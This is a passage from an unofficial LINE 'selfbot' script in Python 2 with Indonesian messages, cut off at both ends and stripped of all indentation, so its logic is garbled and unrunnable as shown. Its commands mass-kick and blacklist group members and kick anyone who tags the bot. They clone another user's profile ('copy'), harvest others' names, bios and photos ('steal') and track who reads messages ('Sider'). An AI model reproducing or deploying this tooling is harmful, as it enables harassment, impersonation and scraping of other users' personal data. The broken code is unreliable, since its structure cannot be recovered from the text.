vipro.inviteIntoGroup(op.param1,[op.param3])
except:
print ("client Kick regulation or Because it does not exist in the group\ngid=["+op.param1+"]\nmid=["+op.param2+"]")
if op.param2 in wait["blacklist"]:
pass
else:
if op.param2 in Creator:
if op.param2 in admin:
if op.param2 in Bots:
pass
else:
wait["blacklist"][op.param2] = True
if op.param2 in wait["blacklist"]:
pass
else:
if op.param2 in Creator:
if op.param2 in admin:
if op.param2 in Bots:
pass
else:
wait["blacklist"][op.param2] = True
else:
pass
if mid in op.param3:
if op.param2 in Creator:
if op.param2 in Bots:
pass
try:
vipro.kickoutFromGroup(op.param1,[op.param2])
vipro.kickoutFromGroup(op.param1,[op.param2])
except:
try:
vipro.kickoutFromGroup(op.param1,[op.param2])
except:
print ("client Kick regulation or Because it does not exist in the group\ngid=["+op.param1+"]\nmid=["+op.param2+"]")
if op.param2 in wait["blacklist"]:
pass
else:
if op.param2 in Bots:
pass
if op.param2 in wait["blacklist"]:
pass
else:
if op.param2 in Bots:
pass
else:
wait["blacklist"][op.param2] = True
if Creator in op.param3:
if admin in op.param3:
if op.param2 in Bots:
pass
try:
vipro.kickoutFromGroup(op.param1,[op.param2])
vipro.kickoutFromGroup(op.param1,[op.param2])
except:
try:
if op.param2 not in Bots:
vipro.kickoutFromGroup(op.param1,[op.param2])
if op.param2 in wait["blacklist"]:
pass
else:
vipro.inviteIntoGroup(op.param1,[op.param3])
except:
print ("client Kick regulation or Because it does not exist in the group\ngid=["+op.param1+"]\nmid=["+op.param2+"]")
if op.param2 in wait["blacklist"]:
pass
if op.param2 in wait["whitelist"]:
pass
else:
wait["blacklist"][op.param2] = True
vipro.inviteIntoGroup(op.param1,[op.param3])
if op.param2 in wait["blacklist"]:
pass
if op.param2 in wait["whitelist"]:
pass
else:
wait["blacklist"][op.param2] = True
if op.type == 11:
if wait["Qr"] == True:
if op.param2 in Creator:
if op.param2 in admin:
if op.param2 in Bots:
pass
else:
vipro.kickoutFromGroup(op.param1,[op.param2])
else:
pass
if op.type == 17:
if wait["Sambutan"] == True:
if op.param2 in Creator:
return
ginfo = vipro.getGroup(op.param1)
contact = vipro.getContact(op.param2)
image = "http://dl.profile.line-cdn.net/" + contact.pictureStatus
vipro.sendText(op.param1,"Hallo " + vipro.getContact(op.param2).displayName + "\nWelcome To ☞ " + str(ginfo.name) + " ☜" + "\nBudayakan Cek Note\nDan Semoga Betah Disini ^_^")
c = Message(to=op.param1, from_=None, text=None, contentType=13)
c.contentMetadata={'mid':op.param2}
vipro.sendMessage(c)
vipro.sendImageWithURL(op.param1,image)
d = Message(to=op.param1, from_=None, text=None, contentType=7)
d.contentMetadata={
"STKID": "13269548",
"STKPKGID": "1329191",
"STKVER": "1" }
vipro.sendMessage(d)
print "MEMBER JOIN TO GROUP"
if op.type == 15:
if wait["Sambutan"] == True:
if op.param2 in Creator:
return
vipro.sendText(op.param1,"Good Bye " + vipro.getContact(op.param2).displayName + "\nSee You Next Time . . . (p′︵‵。) 🤗")
d = Message(to=op.param1, from_=None, text=None, contentType=7)
d.contentMetadata={
"STKID": "13269542",
"STKPKGID": "1329191",
"STKVER": "1" }
vipro.sendMessage(d)
print "MEMBER HAS LEFT THE GROUP"
if op.type == 26:
msg = op.message
if msg.from_ in mimic["target"] and mimic["status"] == True and mimic["target"][msg.from_] == True:
text = msg.text
if text is not None:
vipro.sendText(msg.to,text)
if msg.to in settings["simiSimi"]:
if settings["simiSimi"][msg.to] == True:
if msg.text is not None:
text = msg.text
r = requests.get("http://api.ntcorp.us/chatbot/v1/?text=" + text.replace(" ","+") + "&key=beta1.nt")
data = r.text
data = json.loads(data)
if data['status'] == 200:
if data['result']['result'] == 100:
vipro.sendText(msg.to,data['result']['response'].encode('utf-8'))
if 'MENTION' in msg.contentMetadata.keys() != None:
if wait["kickMention"] == True:
contact = vipro.getContact(msg.from_)
cName = contact.displayName
balas = ["Aku Bilang Jangan Ngetag Lagi " + cName + "\nAku Kick Kamu! Sorry, Byee!!!"]
ret_ = random.choice(balas)
name = re.findall(r'@(\w+)', msg.text)
mention = ast.literal_eval(msg.contentMetadata['MENTION'])
mentionees = mention['MENTIONEES']
for mention in mentionees:
if mention['M'] in Bots:
vipro.sendText(msg.to,ret_)
vipro.kickoutFromGroup(msg.to,[msg.from_])
break
if 'MENTION' in msg.contentMetadata.keys() != None:
if wait["detectMention"] == True:
contact = vipro.getContact(msg.from_)
cName = contact.displayName
balas = ["Dont Tag!! Lagi Sibuk",cName + " Ngapain Ngetag?",cName + " Nggak Usah Tag-Tag! Kalo Penting Langsung Pc Aja","Dia Lagi Off", cName + " Kenapa Tag Saya?","Dia Lagi Tidur\nJangan Di Tag " + cName, "Jangan Suka Tag Gua " + cName, "Kamu Siapa " + cName + "?", "Ada Perlu Apa " + cName + "?","Woii " + cName + " Jangan Ngetag, Riibut!"]
ret_ = random.choice(balas)
name = re.findall(r'@(\w+)', msg.text)
mention = ast.literal_eval(msg.contentMetadata['MENTION'])
mentionees = mention['MENTIONEES']
for mention in mentionees:
if mention['M'] in Bots:
vipro.sendText(msg.to,ret_)
break
if 'MENTION' in msg.contentMetadata.keys() != None:
if wait["detectMention2"] == True:
contact = vipro.getContact(msg.from_)
cName = contact.displayName
balas = ["Sekali lagi nge tag gw sumpahin jomblo seumur hidup!","Nggak Usah Tag-Tag! Kalo Penting Langsung Pc Aja","Woii " + cName + " Jangan Ngetag, Riibut!"]
ret_ = random.choice(balas)
name = re.findall(r'@(\w+)', msg.text)
mention = ast.literal_eval(msg.contentMetadata['MENTION'])
mentionees = mention['MENTIONEES']
for mention in mentionees:
if mention['M'] in Bots:
vipro.sendText(msg.to,ret_)
msg.contentType = 7
msg.text = None
msg.contentMetadata = {
"STKID": "20001316",
"STKPKGID": "1582380",
"STKVER": "1" }
vipro.sendMessage(msg)
break
if 'MENTION' in msg.contentMetadata.keys() != None:
if wait["detectMention3"] == True:
contact = vipro.getContact(msg.from_)
cName = contact.displayName
balas = ["Woii " + cName + ", Dasar Jones Ngetag Mulu!"]
balas1 = "Ini Foto Sii Jones Yang Suka Ngetag. . ."
ret_ = random.choice(balas)
image = "http://dl.profile.line-cdn.net/" + contact.pictureStatus
name = re.findall(r'@(\w+)', msg.text)
mention = ast.literal_eval(msg.contentMetadata['MENTION'])
mentionees = mention['MENTIONEES']
for mention in mentionees:
if mention['M'] in Bots:
vipro.sendText(msg.to,ret_)
vipro.sendText(msg.to,balas1)
vipro.sendImageWithURL(msg.to,image)
msg.contentType = 7
msg.text = None
msg.contentMetadata = {
"STKID": "11764508",
"STKPKGID": "6641",
"STKVER": "1" }
vipro.sendMessage(msg)
break
if op.type == 26:
msg = op.message
if msg.text in ["Bot on"]:
wait["Bot"] = True
vipro.sendText(msg.to,"Bot Sudah On Kembali.")
if op.type == 26:
if wait["Bot"] == True:
msg = op.message
if msg.contentType == 7:
if wait["sticker"] == True:
msg.contentType = 0
stk_id = msg.contentMetadata['STKID']
stk_ver = msg.contentMetadata['STKVER']
pkg_id = msg.contentMetadata['STKPKGID']
filler = "『 Sticker Check 』\nSTKID : %s\nSTKPKGID : %s\nSTKVER : %s\n『 Link 』\nline://shop/detail/%s" % (stk_id,pkg_id,stk_ver,pkg_id)
vipro.sendText(msg.to, filler)
wait["sticker"] = False
else:
pass
if wait["alwaysRead"] == True:
if msg.toType == 0:
vipro.sendChatChecked(msg.from_,msg.id)
else:
vipro.sendChatChecked(msg.to,msg.id)
if msg.contentType == 16:
if wait['likeOn'] == True:
url = msg.contentMetadata["postEndUrl"]
vipro.like(url[25:58], url[66:], likeType=1005)
vipro.comment(url[25:58], url[66:], wait["comment"])
vipro.sendText(msg.to,"Like Success")
wait['likeOn'] = False
if msg.contentType == 13:
if wait["wblacklist"] == True:
if msg.contentMetadata["mid"] not in admin:
if msg.contentMetadata["mid"] in wait["blacklist"]:
vipro.sendText(msg.to,"Sudah")
wait["wblacklist"] = False
else:
wait["blacklist"][msg.contentMetadata["mid"]] = True
wait["wblacklist"] = False
vipro.sendText(msg.to,"Ditambahkan")
else:
vipro.sendText(msg.to,"Admin Detected~")
elif wait["dblacklist"] == True:
if msg.contentMetadata["mid"] in wait["blacklist"]:
del wait["blacklist"][msg.contentMetadata["mid"]]
vipro.sendText(msg.to,"Terhapus")
wait["dblacklist"] = False
else:
wait["dblacklist"] = False
vipro.sendText(msg.to,"Tidak Ada Black List")
elif wait["Contact"] == True:
msg.contentType = 0
vipro.sendText(msg.to,msg.contentMetadata["mid"])
if 'displayName' in msg.contentMetadata:
contact = vipro.getContact(msg.contentMetadata["mid"])
try:
cu = vipro.channel.getCover(msg.contentMetadata["mid"])
except:
cu = ""
vipro.sendText(msg.to,"Nama:\n" + msg.contentMetadata["displayName"] + "\n\nMid:\n" + msg.contentMetadata["mid"] + "\n\nStatus:\n" + contact.statusMessage + "\n\nPhoto Profile:\nhttp://dl.profile.line-cdn.net/" + contact.pictureStatus + "\n\nPhoto Cover:\n" + str(cu))
else:
contact = vipro.getContact(msg.contentMetadata["mid"])
try:
cu = vipro.channel.getCover(msg.contentMetadata["mid"])
except:
cu = ""
vipro.sendText(msg.to,"Nama:\n" + msg.contentMetadata["displayName"] + "\n\nMid:\n" + msg.contentMetadata["mid"] + "\n\nStatus:\n" + contact.statusMessage + "\n\nPhoto Profile:\nhttp://dl.profile.line-cdn.net/" + contact.pictureStatus + "\n\nPhoto Cover:\n" + str(cu))
elif msg.text == "Ginfo":
if msg.toType == 2:
ginfo = vipro.getGroup(msg.to)
try:
gCreator = ginfo.creator.displayName
except:
gCreator = "Error"
if wait["lang"] == "JP":
if ginfo.invitee is None:
sinvitee = "0"
else:
sinvitee = str(len(ginfo.invitee))
if ginfo.preventJoinByTicket == True:
u = "close"
else:
u = "open"
vipro.sendText(msg.to,"[Group name]\n" + str(ginfo.name) + "\n\n[Gid]\n" + msg.to + "\n\n[Group creator]\n" + gCreator + "\n\n[Profile status]\nhttp://dl.profile.line.naver.jp/" + ginfo.pictureStatus + "\n\nMembers:" + str(len(ginfo.members)) + "members\nPending:" + sinvitee + "people\nURL:" + u + "it is inside")
else:
vipro.sendText(msg.to,"[group name]\n" + str(ginfo.name) + "\n[gid]\n" + msg.to + "\n[group creator]\n" + gCreator + "\n[profile status]\nhttp://dl.profile.line.naver.jp/" + ginfo.pictureStatus)
else:
if wait["lang"] == "JP":
vipro.sendText(msg.to,"Can not be used outside the group")
else:
vipro.sendText(msg.to,"Not for use less than group")
elif msg.text is None:
return
elif msg.text in ["Creator","Owner"]:
msg.contentType = 13
msg.contentMetadata = {'mid': tjia}
vipro.sendMessage(msg)
vipro.sendText(msg.to,"Itu Majikan Kami (^_^)")
elif msg.text in ["Group creator","Gcreator","gcreator"]:
ginfo = vipro.getGroup(msg.to)
gCreator = ginfo.creator.mid
msg.contentType = 13
msg.contentMetadata = {'mid': gCreator}
vipro.sendMessage(msg)
vipro.sendText(msg.to,"Itu Yang Buat Grup Ini")
elif msg.contentType == 16:
if wait["Timeline"] == True:
msg.contentType = 0
msg.text = "post URL\n" + msg.contentMetadata["postEndUrl"]
vipro.sendText(msg.to,msg.text)
if msg.contentType == 13:
if wait["steal"] == True:
_name = msg.contentMetadata["displayName"]
copy = msg.contentMetadata["mid"]
groups = vipro.getGroup(msg.to)
pending = groups.invitee
targets = []
for s in groups.members:
if _name in s.displayName:
print "[Target] Stealed"
break
else:
targets.append(copy)
if targets == []:
pass
else:
for target in targets:
try:
vipro.findAndAddContactsByMid(target)
contact = vipro.getContact(target)
cu = vipro.channel.getCover(target)
path = str(cu)
image = "http://dl.profile.line-cdn.net/" + contact.pictureStatus
vipro.sendText(msg.to,"Nama :\n" + contact.displayName + "\n\nMid :\n" + msg.contentMetadata["mid"] + "\n\nBio :\n" + contact.statusMessage)
vipro.sendText(msg.to,"Profile Picture " + contact.displayName)
vipro.sendImageWithURL(msg.to,image)
vipro.sendText(msg.to,"Cover " + contact.displayName)
vipro.sendImageWithURL(msg.to,path)
wait["steal"] = False
break
except:
pass
if msg.contentType == 13:
if wait["gift"] == True:
_name = msg.contentMetadata["displayName"]
copy = msg.contentMetadata["mid"]
groups = vipro.getGroup(msg.to)
pending = groups.invitee
targets = []
for s in groups.members:
if _name in s.displayName:
print "[Target] Gift"
break
else:
targets.append(copy)
if targets == []:
pass
else:
for target in targets:
try:
vipro.sendText(msg.to,"Gift Sudah Terkirim!")
msg.contentType = 9
msg.contentMetadata= {'PRDTYPE': 'STICKER',
'STKVER': '1',
'MSGTPL': '1',
'STKPKGID': '1296261'}
msg.to = target
msg.text = None
vipro.sendMessage(msg)
wait['gift'] = False
break
except:
msg.contentMetadata = {'mid': target}
wait["gift"] = False
break
if msg.contentType == 13:
if wait["copy"] == True:
_name = msg.contentMetadata["displayName"]
copy = msg.contentMetadata["mid"]
groups = vipro.getGroup(msg.to)
targets = []
for s in groups.members:
if _name in s.displayName:
print "[Target] Copy"
break
else:
targets.append(copy)
if targets == []:
vipro.sendText(msg.to, "Not Found...")
pass
else:
for target in targets:
try:
vipro.CloneContactProfile(target)
vipro.sendText(msg.to, "Copied (^_^)")
wait['copy'] = False
break
except:
msg.contentMetadata = {'mid': target}
wait["copy"] = False
break
if msg.contentType == 13:
if wait['invite'] == True:
_name = msg.contentMetadata["displayName"]
invite = msg.contentMetadata["mid"]
groups = vipro.getGroup(msg.to)
pending = groups.invitee
targets = []
for s in groups.members:
if _name in s.displayName:
vipro.sendText(msg.to, _name + " Berada DiGrup Ini")
else:
targets.append(invite)
if targets == []:
pass
else:
for target in targets:
try:
vipro.findAndAddContactsByMid(target)
vipro.inviteIntoGroup(msg.to,[target])
vipro.sendText(msg.to,"Invite " + _name)
wait['invite'] = False
break
except:
vipro.sendText(msg.to,"Limit Invite")
wait['invite'] = False
break
elif msg.text in ["Key creator","help creator","Help creator"]:
vipro.sendText(msg.to,creatorMessage)
elif msg.text in ["Key group","help group","Help group"]:
vipro.sendText(msg.to,groupMessage)
elif msg.text in ["Key","help","Help"]:
vipro.sendText(msg.to,helpMessage)
elif msg.text in ["Key self","help self","Help self"]:
vipro.sendText(msg.to,selfMessage)
elif msg.text in ["Key bot","help bot","Help bot"]:
vipro.sendText(msg.to,botMessage)
elif msg.text in ["Key set","help set","Help set"]:
vipro.sendText(msg.to,setMessage)
elif msg.text in ["Key media","help media","Help media"]:
vipro.sendText(msg.to,mediaMessage)
elif msg.text in ["Key admin","help admin","Help admin"]:
vipro.sendText(msg.to,adminMessage)
elif msg.text in ["List group"]:
gid = vipro.getGroupIdsJoined()
h = ""
jml = 0
for i in gid:
gn = vipro.getGroup(i).name
h += "♦【%s】\n" % (gn)
jml += 1
vipro.sendText(msg.to,"=======[List Group]=======\n"+ h +"\nTotal Group: "+str(jml))
elif "Ban group: " in msg.text:
grp = msg.text.replace("Ban group: ","")
gid = vipro.getGroupIdsJoined()
if msg.from_ in admin:
for i in gid:
h = vipro.getGroup(i).name
if h == grp:
wait["BlGroup"][i]=True
vipro.sendText(msg.to, "Success Ban Group : "+grp)
else:
pass
else:
vipro.sendText(msg.to, "Khusus Admin")
elif msg.text in ["List ban","List ban group"]:
if msg.from_ in admin:
if wait["BlGroup"] == {}:
vipro.sendText(msg.to,"Tidak Ada")
else:
mc = ""
for gid in wait["BlGroup"]:
mc += "-> " +vipro.getGroup(gid).name + "\n"
vipro.sendText(msg.to,"===[Ban Group]===\n"+mc)
else:
vipro.sendText(msg.to, "Khusus Admin")
elif msg.text in ["Del ban: "]:
if msg.from_ in admin:
ng = msg.text.replace("Del ban: ","")
for gid in wait["BlGroup"]:
if vipro.getGroup(gid).name == ng:
del wait["BlGroup"][gid]
vipro.sendText(msg.to, "Success del ban "+ng)
else:
pass
else:
vipro.sendText(msg.to, "Khusus Admin")
elif "Join group: " in msg.text:
ng = msg.text.replace("Join group: ","")
gid = vipro.getGroupIdsJoined()
try:
if msg.from_ in Creator:
for i in gid:
h = vipro.getGroup(i).name
if h == ng:
vipro.inviteIntoGroup(i,[Creator])
vipro.sendText(msg.to,"Success Join To ["+ h +"] Group")
else:
pass
else:
vipro.sendText(msg.to,"Khusus Admin")
except Exception as e:
vipro.sendText(msg.to, str(e))
elif "Leave group: " in msg.text:
ng = msg.text.replace("Leave group: ","")
gid = vipro.getGroupIdsJoined()
if msg.from_ in Creator:
for i in gid:
h = vipro.getGroup(i).name
if h == ng:
vipro.sendText(i,"Bot Di Paksa Keluar Oleh Owner!")
vipro.leaveGroup(i)
vipro.sendText(msg.to,"Success Left ["+ h +"] group")
else:
pass
else:
vipro.sendText(msg.to,"Khusus Admin")
elif "Leave all group" == msg.text:
gid = vipro.getGroupIdsJoined()
if msg.from_ in Creator:
for i in gid:
vipro.sendText(i,"Bot Di Paksa Keluar Oleh Owner!")
vipro.leaveGroup(i)
vipro.sendText(msg.to,"Success Leave All Group")
else:
vipro.sendText(msg.to,"Khusus Admin")
elif "Pict group: " in msg.text:
saya = msg.text.replace('Pict group: ','')
gid = vipro.getGroupIdsJoined()
for i in gid:
h = vipro.getGroup(i).name
gna = vipro.getGroup(i)
if h == saya:
vipro.sendImageWithURL(msg.to,"http://dl.profile.line.naver.jp/"+ gna.pictureStatus)
elif msg.text in ["cancelall","Cancelall"]:
if msg.toType == 2:
X = vipro.getGroup(msg.to)
if X.invitee is not None:
gInviMids = [contact.mid for contact in X.invitee]
vipro.cancelGroupInvitation(msg.to, gInviMids)
else:
vipro.sendText(msg.to,"Tidak Ada Yang Pending")
else:
vipro.sendText(msg.to,"Tidak Bisa Digunakan Diluar Group")
elif msg.text in ["Ourl","Url on"]:
if msg.toType == 2:
X = vipro.getGroup(msg.to)
X.preventJoinByTicket = False
vipro.updateGroup(X)
vipro.sendText(msg.to,"Url Sudah Aktif")
else:
vipro.sendText(msg.to,"Can not be used outside the group")
elif msg.text in ["Curl","Url off"]:
if msg.toType == 2:
X = vipro.getGroup(msg.to)
X.preventJoinByTicket = True
vipro.updateGroup(X)
vipro.sendText(msg.to,"Url Sudah Di Nonaktifkan")
else:
vipro.sendText(msg.to,"Can not be used outside the group")
elif msg.text in ["Join on","Autojoin on"]:
if msg.from_ in admin:
wait["AutoJoin"] = True
wait["AutoJoinCancel"] = False
vipro.sendText(msg.to,"Auto Join Sudah Aktif")
else:
vipro.sendText(msg.to,"Khusus Admin")
elif msg.text in ["Join off","Autojoin off"]:
if msg.from_ in admin:
wait["AutoJoin"] = False
vipro.sendText(msg.to,"Auto Join Sudah Di Nonaktifkan")
else:
vipro.sendText(msg.to,"Khusus Admin")
elif msg.text in ["Joincancel on","Autojoincancel on"]:
if msg.from_ in admin:
wait["AutoJoinCancel"] = True
wait["AutoJoin"] = False
vipro.sendText(msg.to,"Auto Join Cancel Sudah Aktif")
else:
vipro.sendText(msg.to,"Khusus Admin")
elif msg.text in ["Joincancel off","Autojoincancel off"]:
if msg.from_ in admin:
wait["AutoJoinCancel"] = False
vipro.sendText(msg.to,"Auto Join Cancel Sudah Di Nonaktifkan")
else:
vipro.sendText(msg.to,"Khusus Admin")
elif msg.text in ["Respon1 on"]:
if msg.from_ in admin:
wait["detectMention"] = True
wait["detectMention2"] = False
wait["detectMention3"] = False
wait["kickMention"] = False
vipro.sendText(msg.to,"Auto Respon1 Sudah Aktif")
else:
vipro.sendText(msg.to,"Khusus Admin")
elif msg.text in ["Respon1 off"]:
if msg.from_ in admin:
wait["detectMention"] = False
vipro.sendText(msg.to,"Auto Respon1 Sudah Off")
else:
vipro.sendText(msg.to,"Khusus Admin")
elif msg.text in ["Respon2 on"]:
if msg.from_ in admin:
wait["detectMention"] = False
wait["detectMention2"] = True
wait["detectMention3"] = False
wait["kickMention"] = False
vipro.sendText(msg.to,"Auto Respon2 Sudah Aktif")
else:
vipro.sendText(msg.to,"Khusus Admin")
elif msg.text in ["Respon2 off"]:
if msg.from_ in admin:
wait["detectMention2"] = False
vipro.sendText(msg.to,"Auto Respon2 Sudah Off")
else:
vipro.sendText(msg.to,"Khusus Admin")
elif msg.text in ["Respon3 on"]:
if msg.from_ in admin:
wait["detectMention"] = False
wait["detectMention2"] = False
wait["detectMention3"] = True
wait["kickMention"] = False
vipro.sendText(msg.to,"Auto Respon3 Sudah Aktif")
else:
vipro.sendText(msg.to,"Khusus Admin")
elif msg.text in ["Respon3 off"]:
if msg.from_ in admin:
wait["detectMention3"] = False
vipro.sendText(msg.to,"Auto Respon3 Sudah Off")
else:
vipro.sendText(msg.to,"Khusus Admin")
elif msg.text in ["Responkick on"]:
if msg.from_ in admin:
wait["kickMention"] = True
wait["detectMention"] = False
wait["detectMention2"] = False
wait["detectMention3"] = False
vipro.sendText(msg.to,"Auto Respon Kick Sudah Aktif")
else:
vipro.sendText(msg.to,"Khusus Admin")
elif msg.text in ["Responkick off"]:
if msg.from_ in admin:
wait["kickMention"] = False
vipro.sendText(msg.to,"Auto Respon Kick Sudah Off")
else:
vipro.sendText(msg.to,"Khusus Admin")
elif msg.text in ["Autocancel on"]:
if msg.from_ in admin:
wait["AutoCancel"] = True
vipro.sendText(msg.to,"Auto Cancel Sudah Aktif")
print wait["AutoCancel"]
else:
vipro.sendText(msg.to,"Khusus Admin")
elif msg.text in ["Autocancel off"]:
if msg.from_ in admin:
wait["AutoCancel"] = False
vipro.sendText(msg.to,"Auto Cancel Sudah Di Nonaktifkan")
print wait["AutoCancel"]
else:
vipro.sendText(msg.to,"Khusus Admin")
elif msg.text in ["Invitepro on"]:
if msg.from_ in admin:
wait["inviteprotect"] = True
vipro.sendText(msg.to,"Invite Protect Sudah Aktif")
print wait["inviteprotect"]
else:
vipro.sendText(msg.to,"Khusus Admin")
elif msg.text in ["Invitepro off"]:
if msg.from_ in admin:
wait["inviteprotect"] = False
vipro.sendText(msg.to,"Invite Protect Sudah Di Nonaktifkan")
print wait["inviteprotect"]
else:
vipro.sendText(msg.to,"Khusus Admin")
elif "Qr on" in msg.text:
if msg.from_ in admin:
wait["Qr"] = True
vipro.sendText(msg.to,"QR Protect Sudah Aktif")
else:
vipro.sendText(msg.to,"Khusus Admin")
elif "Qr off" in msg.text:
if msg.from_ in admin:
wait["Qr"] = False
vipro.sendText(msg.to,"Qr Protect Sudah Di Nonaktifkan")
else:
vipro.sendText(msg.to,"Khusus Admin")
elif "Autokick on" in msg.text:
if msg.from_ in admin:
wait["AutoKick"] = True
vipro.sendText(msg.to,"Auto Kick Sudah Aktif")
else:
vipro.sendText(msg.to,"Khusus Admin")
elif "Autokick off" in msg.text:
if msg.from_ in admin:
wait["AutoKick"] = False
vipro.sendText(msg.to,"Auto Kick Sudah Di Nonaktifkan")
else:
vipro.sendText(msg.to,"Khusus Admin")
elif msg.text in ["Allprotect on"]:
if msg.from_ in admin:
wait["AutoCancel"] = True
wait["inviteprotect"] = True
wait["AutoKick"] = True
wait["Qr"] = True
vipro.sendText(msg.to,"All Protect Sudah Aktif Semua")
else:
vipro.sendText(msg.to,"Khusus Admin")
elif msg.text in ["Allprotect off"]:
if msg.from_ in admin:
wait["AutoCancel"] = False
wait["inviteprotect"] = False
wait["AutoKick"] = False
wait["Qr"] = False
vipro.sendText(msg.to,"All Protect Sudah Di Nonaktifkan Semua")
else:
vipro.sendText(msg.to,"Khusus Admin")
elif msg.text in ["K on","Contact on"]:
wait["Contact"] = True
vipro.sendText(msg.to,"Contact Sudah Aktif")
elif msg.text in ["K off","Contact off"]:
wait["Contact"] = False
vipro.sendText(msg.to,"Contact Sudah Di Nonaktifkan")
elif msg.text in ["Alwaysread on"]:
wait["alwaysRead"] = True
vipro.sendText(msg.to,"Always Read Sudah Aktif")
elif msg.text in ["Alwaysread off"]:
wait["alwaysRead"] = False
vipro.sendText(msg.to,"Always Read Sudah Di Nonaktifkan")
elif msg.text in ["Notif on"]:
if wait["Sambutan"] == True:
if wait["lang"] == "JP":
vipro.sendText(msg.to,"Sambutan Di Aktifkanヾ(*´∀`*)ノ")
else:
wait["Sambutan"] = True
if wait["lang"] == "JP":
vipro.sendText(msg.to,"Sudah Onヽ(´▽`)/")
elif msg.text in ["Notif off"]:
if wait["Sambutan"] == False:
if wait["lang"] == "JP":
vipro.sendText(msg.to,"Sambutan Di Nonaktifkan( ^∇^)")
else:
wait["Sambutan"] = False
if wait["lang"] == "JP":
vipro.sendText(msg.to,"Sudah Off(p′︵‵。)")
elif "Sider on" in msg.text:
try:
del cctv['point'][msg.to]
del cctv['sidermem'][msg.to]
del cctv['cyduk'][msg.to]
except:
pass
cctv['point'][msg.to] = msg.id
cctv['sidermem'][msg.to] = ""
cctv['cyduk'][msg.to]=True
wait["Sider"] = True
vipro.sendText(msg.to,"Start scanning reader")
elif "Sider off" in msg.text:
if msg.to in cctv['point']:
cctv['cyduk'][msg.to]=False
wait["Sider"] = False
vipro.sendText(msg.to, "DONE")
else:
vipro.sendText(msg.to, "Belu di set")
elif msg.text in ["Status"]:
md = ""
if wait["Sambutan"] == True: md+="╠➩✔️ Sambutan : On\n"
else:md+="╠➩❌ Sambutan : Off\n"
if wait["AutoJoin"] == True: md+="╠➩✔️ Auto Join : On\n"
else: md +="╠➩❌ Auto Join : Off\n"
if wait["AutoJoinCancel"] == True: md+="╠➩✔️ Auto Join Cancel : On\n"
else: md +="╠➩❌ Auto Join Cancel : Off\n"
if wait["Contact"] == True: md+="╠➩✔️ Info Contact : On\n"
else: md+="╠➩❌ Info Contact : Off\n"
if wait["AutoCancel"] == True:md+="╠➩✔️ Auto Cancel : On\n"
else: md+= "╠➩❌ Auto Cancel : Off\n"
if wait["inviteprotect"] == True:md+="╠➩✔️ Invite Protect : On\n"
else: md+= "╠➩❌ Invite Protect : Off\n"
if wait["Qr"] == True: md+="╠➩✔️ Qr Protect : On\n"
else:md+="╠➩❌ Qr Protect : Off\n"
if wait["AutoKick"] == True: md+="╠➩✔️ Auto Kick : On\n"
else:md+="╠➩❌ Auto Kick : Off\n"
if wait["alwaysRead"] == True: md+="╠➩✔️ Always Read : On\n"
else:md+="╠➩❌ Always Read: Off\n"
if wait["detectMention"] == True: md+="╠➩✔️ Auto Respon1 : On\n"
else:md+="╠➩❌ Auto Respon1 : Off\n"
if wait["detectMention2"] == True: md+="╠➩✔️ Auto Respon2 : On\n"
else:md+="╠➩❌ Auto Respon2 : Off\n"
if wait["detectMention3"] == True: md+="╠➩✔️ Auto Respon3 : On\n"
else:md+="╠➩❌ Auto Respon3 : Off\n"
if wait["kickMention"] == True: md+="╠➩✔️ Auto Respon Kick : On\n"
else:md+="╠➩❌ Auto Respon Kick : Off\n"
if wait["Sider"] == True: md+="╠➩✔️ Auto Sider : On\n"
else:md+="╠➩❌ Auto Sider: Off\n"
if wait["Simi"] == True: md+="╠➩✔️ Simisimi : On\n"
else:md+="╠➩❌ Simisimi: Off\n"
vipro.sendText(msg.to,"╔═════════════════════════\n""║ ☆☞ S T A T U S ☜☆\n""╠═════════════════════════\n"+md+"╚═════════════════════════")
elif msg.text in ["Gift","gift"]:
msg.contentType = 9
msg.contentMetadata={'PRDID': 'ae3d9165-fab2-4e70-859b-c14a9d4137c4',
'PRDTYPE': 'THEME',
'MSGTPL': '8'}
msg.text = None
vipro.sendMessage(msg)
elif "Gift1 " in msg.text:
msg.contentType = 13
nk0 = msg.text.replace("Gift1 ","")
nk1 = nk0.lstrip()
nk2 = nk1.replace("@","")
nk3 = nk2.rstrip()
_name = nk3
gs = vipro.getGroup(msg.to)
targets = []
for s in gs.members:
if _name in s.displayName:
targets.append(s.mid)
if targets == []:
sendMessage(msg.to,"user does not exist")
pass
else:
for target in targets:
try:
vipro.sendText(msg.to,_name + " Check Your Gift")
msg.contentType = 9
msg.contentMetadata= {'PRDTYPE': 'STICKER',
'STKVER': '1',
'MSGTPL': '1',
'STKPKGID': '1380280'}
msg.to = target
msg.text = None
vipro.sendMessage(msg)
except:
msg.contentMetadata = {'mid': target}
elif "Gift2 " in msg.text:
msg.contentType = 13
nk0 = msg.text.replace("Gift2 ","")
nk1 = nk0.lstrip()
nk2 = nk1.replace("@","")
nk3 = nk2.rstrip()
_name = nk3
gs = vipro.getGroup(msg.to)
targets = []
for s in gs.members:
if _name in s.displayName:
targets.append(s.mid)
if targets == []:
sendMessage(msg.to,"user does not exist")
pass
else:
for target in targets:
try:
vipro.sendText(msg.to,_name + " Check Your Gift")
msg.contentType = 9
msg.contentMetadata= {'PRDTYPE': 'STICKER',
'STKVER': '1',
'MSGTPL': '2',
'STKPKGID': '1360738'}
msg.to = target
msg.text = None
vipro.sendMessage(msg)
except:
msg.contentMetadata = {'mid': target}
elif "Gift3 " in msg.text:
msg.contentType = 13
nk0 = msg.text.replace("Gift3 ","")
nk1 = nk0.lstrip()
nk2 = nk1.replace("@","")
nk3 = nk2.rstrip()
_name = nk3
gs = vipro.getGroup(msg.to)
targets = []
for s in gs.members:
if _name in s.displayName:
targets.append(s.mid)
if targets == []:
sendMessage(msg.to,"user does not exist")
pass
else:
for target in targets:
try:
vipro.sendText(msg.to,_name + " Check Your Gift")
msg.contentType = 9
msg.contentMetadata= {'PRDTYPE': 'STICKER',
'STKVER': '1',
'MSGTPL': '3',
'STKPKGID': '1395389'}
msg.to = target
msg.text = None
vipro.sendMessage(msg)
except:
msg.contentMetadata = {'mid': target}
elif "Gift4 " in msg.text:
msg.contentType = 13
nk0 = msg.text.replace("Gift4 ","")
nk1 = nk0.lstrip()
nk2 = nk1.replace("@","")
nk3 = nk2.rstrip()
_name = nk3
gs = vipro.getGroup(msg.to)
targets = []
for s in gs.members:
if _name in s.displayName:
targets.append(s.mid)
if targets == []:
sendMessage(msg.to,"user does not exist")
pass
else:
for target in targets:
try:
vipro.sendText(msg.to,_name + " Check Your Gift")
msg.contentType = 9
msg.contentMetadata= {'PRDTYPE': 'STICKER',
'STKVER': '1',
'MSGTPL': '4',
